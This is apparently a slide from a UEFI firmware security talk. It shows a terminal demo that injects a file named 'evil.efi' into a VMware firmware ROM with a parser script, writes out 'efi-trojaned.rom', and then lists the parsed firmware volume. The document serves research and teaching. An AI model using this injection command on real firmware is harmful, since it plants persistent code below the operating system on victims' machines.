Slide 22
Slide 22 text
demo.inspect!
theo@ubuntu:/mnt/hgfs/Buffers/uefi-research/samples/vmware$ python /mnt/hgfs/git/uefi-firmware-parser/scripts/fv_injector.py --guid
c57ad6b7-0515-40a8-219d-551652854e37 --injection ./evil.efi ./efi64.rom -o efi-trojaned.rom
[#] Opening firmware as UEFI firmware volume.
Parsing FV at index (volume).
[#] Firmware objects parsed.
[#] Injecting (replacing) FirmwareFile c57ad6b7-0515-40a8-219d-551652854e37.
[#] Regenerating firmware children structures (from injection point).
[#] Regeneration complete, child objects parsed.
[#] Rebuilding complete firmware with injection.
ffs size mismatch old=3715000 new=3115389 599611
[#] Rebuild complete, injection successful.
Wrote: efi-trojaned.rom
[#] Injected firmware written to efi-trojaned.rom.
theo@ubuntu:/mnt/hgfs/Buffers/uefi-research/samples/vmware$ python /mnt/hgfs/git/uefi-firmware-parser/scripts/fv_parser.py ./efi64.rom
Parsing FV at index (0x0).
Firmware Volume: 8c8ce578-8a3d-4f1c-3599-896185c32dd3 attr 0x0007feff, rev 2, size 0x200000 (2097152 bytes)
Firmware Volume Blocks: (32, 0x10000)
File 0: 1b45cc0a-156a-428a-62af-49864da0e6e6 (EFI_PEI_APRIORI_FILE_NAME_GUID) type 0x02, attr 0x00, state 0x07, size 0x2c (44 bytes), (freeform)
Section 0: type 0x19, size 0x14 (20 bytes) (Raw section)
File 1: df1ccef6-f301-4a63-6196-fc6030dcc880 type 0x03, attr 0x00, state 0x07, size 0x3a04 (14852 bytes), (security core)
Section 0: type 0x10, size 0x39cc (14796 bytes) (PE32 image section)
Section 1: type 0x15, size 0x14 (20 bytes) (User interface name section)
Name: SecMain
Section 2: type 0x14, size 0xc (12 bytes) (Version section section)
File 2: ffffffff-ffff-ffff-ffff-ffffffffffff type 0xf0, attr 0x00, state 0x07, size 0x68 (104 bytes), (ffs padding)
File 3: 52c05b14-0b98-496c-3bbc-04b50211d680 type 0x04, attr 0x10, state 0x07, size 0x9a98 (39576 bytes), (pei core)
Section 0: type 0x19, size 0x1c (28 bytes) (Raw section)
Section 1: type 0x10, size 0x9a44 (39492 bytes) (PE32 image section)
Section 2: type 0x15, size 0x14 (20 bytes) (User interface name section)
Name: PeiCore
Section 3: type 0x14, size 0xc (12 bytes) (Version section section)
File 4: ffffffff-ffff-ffff-ffff-ffffffffffff type 0xf0, attr 0x00, state 0x07, size 0x68 (104 bytes), (ffs padding)
[……]